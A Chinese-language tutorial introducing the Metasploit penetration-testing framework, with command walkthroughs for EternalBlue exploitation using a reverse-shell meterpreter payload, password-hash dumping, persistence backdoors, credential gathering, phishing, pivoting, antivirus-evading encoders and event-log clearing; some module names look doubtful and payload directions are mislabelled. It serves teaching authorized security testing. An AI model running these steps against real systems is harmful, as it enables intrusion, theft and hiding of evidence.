一、Metasploit 概述
Metasploit是一款開源的滲透測試框架,由 H.D. Moore 于 2003 年首次發布,目前由 rapid7 公司維護。它整合了大量漏洞利用模塊、后滲透工具和漏洞掃描功能,已成為網絡安全工程師、紅隊 / 藍隊成員及安全研究人員的核心工具之一。
?下載最新版安裝包: metasploitframework-latest.msi ?
Metasploit | Penetration Testing Software, Pen Testing Security | Metasploit
永久添加腳本執行目錄到當前用戶的PATH: setx PATH "%PATH%;C:\metasploit-framework\bin"
Metasploit -- 目錄詳解及常用命令
Metasploit基礎和基本命令詳解
Metasploit Framework(MSF)命令匯總
二、核心功能與組件
-
漏洞利用模塊(Exploits)
- 包含數千個針對不同系統、應用的漏洞攻擊代碼(如 Windows、Linux、Web 服務等),支持自動匹配目標環境。
- 示例:
exploit/windows/smb/ms17_010_eternalblue
(針對永恒之藍漏洞)。
-
Payload(攻擊載荷)
- 漏洞成功利用后執行的代碼,可分為:
- 正向 Payload:目標主動連接攻擊者(如
windows/meterpreter/reverse_tcp
)。 - 反向 Payload:攻擊者主動連接目標(更繞過防火墻,如
windows/meterpreter/bind_tcp
)。
- 正向 Payload:目標主動連接攻擊者(如
- 漏洞成功利用后執行的代碼,可分為:
-
輔助模塊(Auxiliary)
- 非漏洞利用功能,包括:
- 掃描器(如
auxiliary/scanner/portscan/tcp
)、嗅探器、Fuzz 測試工具等。
- 掃描器(如
- 非漏洞利用功能,包括:
-
后滲透模塊(Post)
- 獲得目標權限后執行的操作,如數據竊取、權限維持、網絡信息收集(
post/windows/gather/enum_logged_on_users
)。
- 獲得目標權限后執行的操作,如數據竊取、權限維持、網絡信息收集(
-
編碼器(Encoders)
- 對 Payload 進行加密或變形,繞過殺毒軟件檢測(如
x86/shikata_ga_nai
)。
- 對 Payload 進行加密或變形,繞過殺毒軟件檢測(如
打開Metasploit: msfconsole
Metasploit功能列表:
1. Exploit Modules:用于攻擊和利用目標系統的漏洞。
2. Payloads:攻擊成功后在目標系統上執行的代碼,如反向 Shell。
3. Auxiliary Modules:輔助功能,如掃描和嗅探。
4. Encoders:用于編碼 Payloads 以規避檢測。
5. Post Modules:在目標系統上進一步操作的模塊,如提權、信息收集等。
6. Nop Generators:用于生成 NOP(No Operation)指令,幫助躲避 IDS/IPS。 ?
三、工作流程與典型場景
1. 基本滲透測試流程
目標信息收集 → 漏洞掃描 → 選擇Exploit與Payload → 配置參數 → 執行攻擊 → 后滲透操作
2. 實戰示例:獲取 Windows 主機權限
# 1. 啟動Metasploit msfconsole
# 2. 搜索永恒之藍漏洞模塊 search ms17-010
# 3. 加載漏洞利用模塊 use exploit/windows/smb/ms17_010_eternalblue
# 4. 配置目標IP set RHOSTS 192.168.1.100
# 5. 配置Payload(反向連接)
? ? ? ? ? ? ? ? ? set PAYLOAD windows/x64/meterpreter/reverse_tcp
# 攻擊者? ? set LHOST 192.168.1.101
# 監聽端口 IP set LPORT 4444
# 6. 執行攻擊 exploit
3. 后滲透常用命令
sysinfo
:查看系統信息hashdump
:獲取密碼哈希upload/download
:文件傳輸persistence
:創建持久化后門
四、優勢與局限性
優勢
1. 模塊化設計,支持自定義擴展;
2. 覆蓋主流平臺與漏洞,更新頻繁;
3. 圖形化界面(Metasploit Pro)降低使用門檻。
局限性
1. 依賴已知漏洞,對 0day 攻擊支持有限;
2. 流量特征易被檢測,需配合免殺技術;
3. 新手需學習編程(如 Ruby)才能開發自定義模塊。
五、安全合規與學習資源
-
合規提示
- 僅可在授權環境(如企業內部測試、CTF 競賽)中使用,未經允許攻擊公共網絡屬于違法行為。
-
學習資源
- 官方文檔:Metasploit Documentation
- 實戰書籍:《Metasploit 滲透測試指南》《Web 滲透測試實戰》
- 在線平臺:TryHackMe、Hack The Box(模擬靶場)
六、延伸:Metasploit 的演進與分支
- Metasploit Pro:商業化版本,集成漏洞管理、報告生成等企業級功能。
- Cobalt Strike:后滲透工具,常與 Metasploit 配合使用,具備更隱蔽的 C2 通信能力。
- Armitage:Metasploit 的圖形化前端,支持鼠標拖拽式滲透測試。
通過掌握 Metasploit,安全人員可系統性地驗證網絡防御體系的薄弱環節,而攻擊者也可能利用其自動化能力實施攻擊。因此,企業需結合 IDS/IPS、EDR 等工具監控異常流量,并及時修補系統漏洞。
七、標準的滲透測試流程示例
1、信息收集(Reconnaissance)
信息收集(Reconnaissance)和 掃描和枚舉(Scanning and Enumeration) 獲取目標的信息,如 IP 地址、域名等。掃描目標網絡,發現開放端口和服務,枚舉詳細信息。
2、服務掃描
# 調用Nmap并將掃描結果導入Metasploit數據庫中
db_nmap -sV -O 192.168.1.0/24
# 掃描網絡中的所有活動主機
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.1.0/24
run
# 掃描特定主機上的開放端口,識別運行的服務
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.100
run
# 枚舉 SMB 服務的版本,了解系統運行的具體服務信息
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.100
run
# 識別 FTP 服務版本
use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.1.100
run
# 識別 HTTP 服務版本
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.100
run ?
查看已發現的主機和服務
hosts
services ?
3、漏洞評估(Vulnerability Assessment)或漏洞掃描
識別目標系統中的已知漏洞。
可使用自動化工具:Nessus OpenVAS全面掃描漏洞。
1. 掃描漏洞
# 掃描目標系統的多種漏洞
use auxiliary/scanner/vulnerabilities/realvuln
set RHOSTS 192.168.1.0/24
run
# 掃描 Metasploit 框架支持的漏洞
use auxiliary/scanner/msf/msfscan
set RHOSTS 192.168.1.0/24
run
# Metasploit Pro 版提供更強大的自動化漏洞掃描功能,可以自動化許多步驟,并生成詳細報告
use pro
set WORKSPACE default
set RHOSTS 192.168.1.0/24
run ?
2. 導入其他工具掃描結果
# 導入 Nessus 掃描結果
load nessus
nessus_connect username:password@127.0.0.1:8834
nessus_report_list
nessus_import_report <report_id>
# 導入 OpenVAS 掃描結果
load openvas
openvas_connect username:password@127.0.0.1
openvas_report_list
openvas_import_report <report_id> ?
3、利用漏洞(Exploitation)
利用發現的漏洞獲取對目標系統的訪問權限
# 利用目標 SMB 服務的已知漏洞,設置目標主機和本地主機的相關參數并執行攻擊
search smb
use exploit/windows/smb/ms17_010_eternalblue
show targets ?# 查看所選模塊支持的模板平臺和配置
show options ?# 查看所選模塊的可配置選項
set RHOSTS 192.168.1.100 ?# 設置目標主機地址
check ?# 驗證漏洞
show payloads ?# 查看可用的有效載荷
set payload windows/x64/meterpreter/reverse_tcp ?# 選擇并配置適當的有效載荷,如反向 shell
set LHOST 192.168.1.50
exploit ?# 確認目標存在漏洞后,執行攻擊 ?
4、后滲透操作(Post-Exploitation)
在獲得訪問權限后進行進一步操作,如提權、信息收集等。
shell ? # 在成功獲得 Meterpreter 會話后
meterpreter > sysinfo ?# 查看系統信息
meterpreter > getuid ?# 獲取當前用戶 ID
meterpreter > shell ?# 進入目標系統的命令提示符 ?
5、清理和報告(Cleanup and Reporting)
清理所有操作痕跡,并生成詳細的滲透測試報告。
# 清除目標系統的事件日志,避免被檢測到,生成滲透測試報告
meterpreter > clearev ?
4、Metasploit其他功能
社會工程學工具
Social Engineering Toolkit (SET):可以創建各種社會工程攻擊,如釣魚攻擊、惡意 USB 制作等。
# 使用 SET 進行釣魚攻擊
use auxiliary/set/social_engineering/phishing ?
Web 應用測試
Auxiliary Modules:許多輔助模塊用于掃描和測試 Web 應用程序漏洞。
憑證收集
1. Meterpreter Scripts:在目標系統上運行腳本以收集密碼和其他憑證。
2. Post Exploitation Modules:用于提取存儲的密碼和會話令牌。 ?
# 使用 Meterpreter 腳本提取憑證
run post/windows/gather/credentials/windows_autologin ?
網絡隧道
1. Pivoting:通過已攻陷的系統建立網絡隧道,以訪問內網中的其他系統。
2. Portfwd:轉發端口以繞過防火墻和訪問受限資源。 ?
?# 進行 Pivoting
route add 10.0.0.0 255.255.255.0 1 ?
自定義模塊開發
編寫自定義模塊:使用 Ruby 編寫自定義漏洞利用和輔助模塊,滿足特定需求。
Metasploit 本身主要是基于 Ruby 編寫的,但它提供RPC接口,可以通過msgrpc服務集成Python腳本。
pyexec插件示例
shell ? load pyexec
pyexec 'print("Hello from Python")' ?
通過 RPC 接口與 Metasploit 交互?
# 啟動 Metasploit RPC 服務
vim rpc_service.rc
? load msgrpc ServerHost=127.0.0.1 ServerPort=55552 User=msf Pass=abc123
msfconsole -r rpc_service.rc
vim demo.py
? ? from metasploit.msfrpc import MsfRpcClient
? ? client = MsfRpcClient('abc123', server='127.0.0.1', port=55552)
? ? console = client.consoles.console()
? ? console.write('use exploit/windows/smb/ms17_010_eternalblue\n')
? ? console.write('set RHOSTS 192.168.1.100\n')
? ? console.write('run\n') ?
任務自動化
1. Resource Scripts:使用 .rc 文件自動化執行一系列 Metasploit 命令。
2. Mettle Payloads:一種新的、更靈活的有效載荷框架,可以執行復雜的任務。 ?
shell ? # 自動化任務
resource myscript.rc ?
數據導出和報告
報告生成:生成滲透測試報告,包含詳細的測試步驟和結果。
數據導出:將掃描結果和會話數據導出為各種格式。
模塊化設計
1. Pluggable Payloads:用戶可以自定義和插入自己的有效載荷。
2. Custom Modules:允許用戶創建和加載自定義漏洞利用和輔助模塊。 ?
混淆與逃避
1. Encoders:對有效載荷進行編碼以繞過防病毒軟件和入侵檢測系統(IDS)。
2. Anti-Forensics:提供工具來混淆日志和刪除痕跡。 ?
實時協作
Team Collaboration:Metasploit Pro 支持團隊協作,多個用戶可以同時對同一目標進行測試。
模擬攻擊
Attack Simulations:可以模擬真實的攻擊場景,以測試和驗證防御措施。
插件支持
Community Plugins:支持用戶開發和共享插件,擴展 Metasploit 的功能。
高級報告
Detailed Reporting:生成詳細的滲透測試報告,包括發現的漏洞、利用情況和修復建議。
數據庫導入
Metasploit 支持從多種第三方漏洞掃描工具導入數據:
Metasploit 第三方軟件支持列表 ?
支持的數據格式和工具:
? Foundstone Network Inventory XML
? Microsoft MBSA SecScan XML
? nCircle IP360 XMLv3 and ASPL
? NetSparker XML
? Nessus NBE
? Nessus XML v1 and v2
? Qualys Asset XML
? Qualys Scan XML
? Burp Sessions XML
? Burp Issues XML
? Acunetix XML
? AppScan XML
? Nmap XML
? Retina XML
? Amap Log
? Critical Watch VM XML
? IP Address List
? Libpcap Network Capture
? Spiceworks Inventory Summary CSV
? Core Impact XML ?Nessus/OpenVAS
導入:可以將 Nessus 或 OpenVAS 的漏洞掃描結果導入 Metasploit 進行進一步分析。 ?
# 導入 Nessus 掃描結果
load nessus
nessus_import_report <report_id>